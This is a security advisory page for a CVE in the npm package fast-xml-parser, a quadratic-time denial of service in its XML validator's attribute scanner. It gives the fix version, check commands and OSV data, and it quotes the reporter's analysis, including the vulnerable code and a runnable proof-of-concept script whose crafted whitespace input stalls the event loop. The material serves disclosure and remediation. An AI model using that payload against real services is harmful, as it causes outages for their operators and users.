CVE-2026-141469: fast-xml-parser Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-7cfw-w2rf-f3jc
CVSS 5.3
CWE-400 CWE-1333
Published
Advisory Summary

CVE-2026-141469 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting fast-xml-parser libraries in the npm ecosystem. The issue involves quadratic-time (redos-class) denial of service in xmlvalidator attribute scanner, default options. Remediation is available by upgrading affected packages to version 5.12.1.

CVE-2026-141469 at a Glance

CVE Identifier CVE-2026-141469
GHSA Identifier GHSA-7cfw-w2rf-f3jc
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product fast-xml-parser
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-141469

To remediate this vulnerability, upgrade all affected fast-xml-parser dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fast-xml-parser fixed: 5.12.1
npm install fast-xml-parser@5.12.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls fast-xml-parser

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-141469, inspect your project dependencies using npm:

npm ls fast-xml-parser

Analyze the terminal output to locate any version of fast-xml-parser in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.12.1), your application is affected.

Note: The npm ls fast-xml-parser command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In fast-xml-parser, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Reported by Nikhil Agrawal, Mettle Labs; reproduced only against a clean local install of `fast-xml-parser@5.11.2` on their own machine. `scanAttributeTokens` in `src/validator.js` rescans a leading-whitespace run on every loop iteration when it hits a stray `=`, giving Theta(n^2) time. A few-hundred-KB input stalls the event loop for tens of seconds. Reachable on the default path via both `XMLValidator.validate(xml)` and `new XMLParser().parse(xml, true)`, no non-default options. ### Details `src/validator.js`, `scanAttributeTokens` — on a `=` with no attribute name before it, `i` is reset to one past the **token start**, not past the `=`, so the leading-whitespace scan repeats: ```js function scanAttributeTokens(attrStr) { const tokens = []; const len = attrStr.length; let i = 0; while (i < len) { const tokenStart = i; // Leading whitespace before the name. while (i < len && isWhiteSpace(attrStr[i])) i++; if (i >= len) break; if (attrStr[i] === '=') { // No name before this '=' — not a valid attribute start. i = tokenStart + 1; // <-- rewinds to tokenStart+1, NOT past the '=' -> re-scans the whitespace continue; } ... ``` For an attribute string of the shape `<whitespace run> =`, each outer iteration advances `tokenStart` by one but re-walks the entire remaining whitespace run up to the `=`, so total work is quadratic in the run length. It is reached whenever an element's attribute section is scanned, which both `XMLValidator.validate()` and `XMLParser.parse(xml, true)` (validation enabled) do on the default path. (This scanner is a recent regex -> hand-scanner rewrite; the quadratic rescan is in the rewrite.) ### Proof of concept A few-hundred-KB document hangs the validator. Runnable against a clean `npm i fast-xml-parser@5.11.2` (Node >= 18): ```js // poc-fxp-quadratic.mjs import { XMLValidator, XMLParser } from "fast-xml-parser"; for (const n of [20000, 40000, 80000, 160000]) { const xml = "<a " + " ".repeat(n) + "=>"; // <element><whitespace run>= -> stray '=' const t0 = process.hrtime.bigint(); XMLValidator.validate(xml); // path 1: validate() const ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(`validate n=${n} ${ms.toFixed(0)} ms`); } // path 2: XMLParser.parse(xml, true) hits the same scanner const big = "<a " + " ".repeat(200000) + "=>"; const t0 = process.hrtime.bigint(); try { new XMLParser().parse(big, true); } catch (_) {} console.log(`parse(.,true) n=200000 ${(Number(process.hrtime.bigint() - t0) / 1e6).toFixed(0)} ms`); ``` Measured on `fast-xml-parser@5.11.2` (unpatched): n=20k -> 461 ms, 40k -> 1755 ms, 80k -> 7108 ms, 160k -> 29847 ms (~4x per 2x length = quadratic); **200k -> ~45 s**. A ~200 KB request stalls the event loop ~45 s. ### Impact A single few-hundred-KB document sent to any service that validates or parses (with validation) attacker-controlled XML via fast xml-parser stalls the Node event loop for tens of seconds — a remote denial of service on the most-installed XML parser for Node, on the default code path.

CVE-2026-141469 Affected fast-xml-parser Versions

1 component(s)
Fixed Versions:
5.12.1
Product / Package Ecosystem Affected Versions Fixed Version
fast-xml-parser
npm
< 5.12.1
5.12.1

References

Frequently Asked Questions

What is CVE-2026-141469?
CVE-2026-141469 is a security vulnerability in fast-xml-parser involving Quadratic-time (ReDoS-class) denial of service in XMLValidator attribute scanner, default options under CWE-400: Uncontrolled Resource Consumption.
Which fast-xml-parser versions are affected?
Affected versions include releases prior to 5.12.1 across affected packages: fast-xml-parser.
What version fixes CVE-2026-141469?
Upgrading to 5.12.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fast-xml-parser affected?
Yes, fast-xml-parser is affected in releases prior to 5.12.1. Upgrade your dependency to 5.12.1 or later.
What is the CVSS score of CVE-2026-141469?
CVE-2026-141469 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-141469?
CVE-2026-141469 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-141469?
Run the dependency tree command: 'npm ls fast-xml-parser'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7cfw-w2rf-f3jc",
  "modified" : "2026-12-01T23:35:22Z",
  "published" : "2026-12-01T23:35:22Z",
  "aliases" : [ "CVE-2026-141469" ],
  "summary" : "fast-xml-parser: Quadratic-time (ReDoS-class) denial of service in XMLValidator attribute scanner, default options",
  "details" : "### Summary\n\nReported by Nikhil Agrawal, Mettle Labs; reproduced only against a clean local install of `fast-xml-parser@5.11.2` on their own machine. `scanAttributeTokens` in `src/validator.js` rescans a leading-whitespace run on every loop iteration when it hits a stray `=`, giving Theta(n^2) time. A few-hundred-KB input stalls the event loop for tens of seconds. Reachable on the default path via both `XMLValidator.validate(xml)` and `new XMLParser().parse(xml, true)`, no non-default options.\n\n### Details\n\n\n`src/validator.js`, `scanAttributeTokens` — on a `=` with no attribute name before it, `i` is reset to one past the **token start**, not past the `=`, so the leading-whitespace scan repeats:\n\n```js\nfunction scanAttributeTokens(attrStr) {\n  const tokens = [];\n  const len = attrStr.length;\n  let i = 0;\n  while (i < len) {\n    const tokenStart = i;\n    // Leading whitespace before the name.\n    while (i < len && isWhiteSpace(attrStr[i])) i++;\n    if (i >= len) break;\n    if (attrStr[i] === '=') {\n      // No name before this '=' — not a valid attribute start.\n      i = tokenStart + 1;      // <-- rewinds to tokenStart+1, NOT past the '=' -> re-scans the whitespace\n      continue;\n    }\n    ...\n```\n\nFor an attribute string of the shape `<whitespace run> =`, each outer iteration advances `tokenStart` by one but re-walks the entire remaining whitespace run up to the `=`, so total work is quadratic in the run length. It is reached whenever an element's attribute section is scanned, which both `XMLValidator.validate()` and `XMLParser.parse(xml, true)` (validation enabled) do on the default path. (This scanner is a recent regex -> hand-scanner rewrite; the quadratic rescan is in the rewrite.)\n\n### Proof of concept\n\n\nA few-hundred-KB document hangs the validator. Runnable against a clean `npm i fast-xml-parser@5.11.2`\n(Node >= 18):\n\n```js\n// poc-fxp-quadratic.mjs\nimport { XMLValidator, XMLParser } from \"fast-xml-parser\";\n\nfor (const n of [20000, 40000, 80000, 160000]) {\n  const xml = \"<a \" + \" \".repeat(n) + \"=>\";          // <element><whitespace run>=  -> stray '='\n  const t0 = process.hrtime.bigint();\n  XMLValidator.validate(xml);                          // path 1: validate()\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(`validate   n=${n}  ${ms.toFixed(0)} ms`);\n}\n\n// path 2: XMLParser.parse(xml, true) hits the same scanner\nconst big = \"<a \" + \" \".repeat(200000) + \"=>\";\nconst t0 = process.hrtime.bigint();\ntry { new XMLParser().parse(big, true); } catch (_) {}\nconsole.log(`parse(.,true) n=200000  ${(Number(process.hrtime.bigint() - t0) / 1e6).toFixed(0)} ms`);\n```\n\nMeasured on `fast-xml-parser@5.11.2` (unpatched): n=20k -> 461 ms, 40k -> 1755 ms, 80k -> 7108 ms, 160k -> 29847 ms (~4x per 2x length = quadratic); **200k -> ~45 s**. A ~200 KB request stalls the event loop ~45 s.\n\n### Impact\n\n\nA single few-hundred-KB document sent to any service that validates or parses (with validation) attacker-controlled XML via fast xml-parser stalls the Node event loop for tens of seconds — a remote denial of service on the most-installed XML parser for Node, on the default code path.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "fast-xml-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-7cfw-w2rf-f3jc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-141469"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4a1623bc23c011fd5ea0b72c21b00f3109688e6c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.12.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T23:35:22Z",
    "nvd_published_at" : "2026-12-01T21:17:10Z"
  }
}